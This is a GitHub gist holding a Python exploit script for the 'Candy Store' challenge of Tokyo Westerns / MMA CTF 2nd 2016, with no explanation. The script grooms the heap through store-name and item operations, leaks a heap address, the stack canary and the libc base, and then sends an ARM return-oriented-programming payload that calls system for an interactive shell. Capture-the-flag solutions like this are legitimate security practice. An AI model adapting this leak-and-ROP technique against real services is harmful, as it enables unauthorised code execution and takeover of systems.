Last active
September 6, 2016 16:03
-
-
Save akiym/49631b4b34d898a8d734f8ed984c15e2 to your computer and use it in GitHub Desktop.
Candy Store - Tokyo Westerns / MMA CTF 2nd 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
p = lambda x: struct.pack('<I', x) | |
u = lambda x: struct.unpack('<I', x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = '' | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = '' | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def process(cmd): | |
import subprocess | |
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = 'candystore1.chal.ctf.westerns.tokyo' | |
port = 11111 | |
offset = { | |
'__libc_start_main': 0x18180, | |
'system': 0x39fac, | |
'/bin/sh': 0x11dc68, # str | |
} | |
else: | |
host = '127.0.0.1' | |
port = 8840 | |
offset = { | |
'__libc_start_main': 0x16c61, | |
'system': 0x2e7e9, | |
'/bin/sh': 0xcaa5c, # str | |
} | |
s = connect(host, port) | |
recvuntil('ID> ') | |
s.send('sh\0\n') | |
recvuntil('Profile> ') | |
s.send('A' * 0x20 + '\r') | |
recvuntil('> $') | |
s.send('10000\n') | |
def modify_store(name, amount): | |
recvuntil('> ') | |
s.send('M\n') | |
recvuntil('New store name> ') | |
s.send(name) | |
recvuntil('New max item amount> ') | |
s.send('%d\n' % amount) | |
recvuntil('> ') | |
s.send('y\n') | |
def add_item(name, money, stock): | |
recvuntil('> ') | |
s.send('A\n') | |
recvuntil('> ') | |
s.send(name) | |
recvuntil('> $') | |
s.send('%d\n' % money) | |
recvuntil('> ') | |
s.send('%d\n' % stock) | |
recvuntil('> ') | |
s.send('y\n') | |
def delete_item(item_id): | |
recvuntil('> ') | |
s.send('D\n') | |
recvuntil('> ') | |
s.send('%d\n' % item_id) | |
recvuntil('> ') | |
s.send('y\n') | |
recvuntil('> ') | |
s.send('A\n') | |
modify_store('A' * 128, 17) | |
for i in range(5): | |
delete_item(i+1) | |
payload = ( | |
'C' * 28 + | |
p(17) + | |
'' | |
) | |
add_item(payload, 0, 0) | |
for _ in range(15): | |
add_item('A' * 32, 1, 1) | |
# clear store name | |
for i in range(4, -1, -1): | |
modify_store('B' * i + '\n', 16) | |
add_item('B' * 32, 1, 1) | |
recvuntil('> ') | |
s.send('R\n') | |
recvuntil('+-- ') | |
heap = u(recvn(3) + '\0') - 0x328 | |
print 'heap : %x' % heap | |
recvuntil('> ') | |
s.send('P\n') | |
recvuntil('> ') | |
s.send('17\n') | |
recvuntil('> ') | |
s.send('D' * 20) | |
recvuntil('> ') | |
s.send('y\n') | |
recvuntil('> ') | |
s.send('n\n') | |
recvuntil('> ') | |
s.send('A\n') | |
modify_store(p(0x24110+1)+'\n', 17) | |
recvuntil('> ') | |
s.send('R\n') | |
recvuntil('+-- Contents of Cart ---------------') | |
recvuntil('Name: ') | |
canary = u('\0' + recvn(3)) | |
print 'canary : %x' % canary | |
recvuntil('> ') | |
s.send('A\n') | |
modify_store(p(0x23fc0)+'\n', 17) | |
recvuntil('> ') | |
s.send('R\n') | |
recvuntil('+-- Contents of Cart ---------------') | |
recvuntil('Name: ') | |
libc = u(recvn(4)) - offset['__libc_start_main'] | |
print 'libc : %x' % libc | |
recvuntil('> ') | |
s.send('O\n') | |
recvuntil('> ') | |
payload = ( | |
'E' * 53 + | |
p(canary) + | |
'A' * 4 + | |
p(0xdeadbeef) + | |
p(0xdeadbeef) + | |
p(0xdeadbeef) + | |
p(0xdeadbeef) + | |
# pop {r3, r4, r5, r6, r7, r8, sb, pc} | |
p(0x13308) + | |
p(libc + offset['system']) + # r3 | |
p(0xdeadbeef) + | |
p(0xdeadbeef) + | |
p(0xdeadbeef) + | |
p(0x24118) + # r7 | |
p(0xdeadbeef) + | |
p(0xdeadbeef) + | |
# mov r0, r7 | |
# mov r1, r8 | |
# mov r2, sb | |
# blx r3 | |
p(0x132f0) + | |
'\n' | |
) | |
assert len(payload) <= 256 | |
s.send(payload) | |
interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment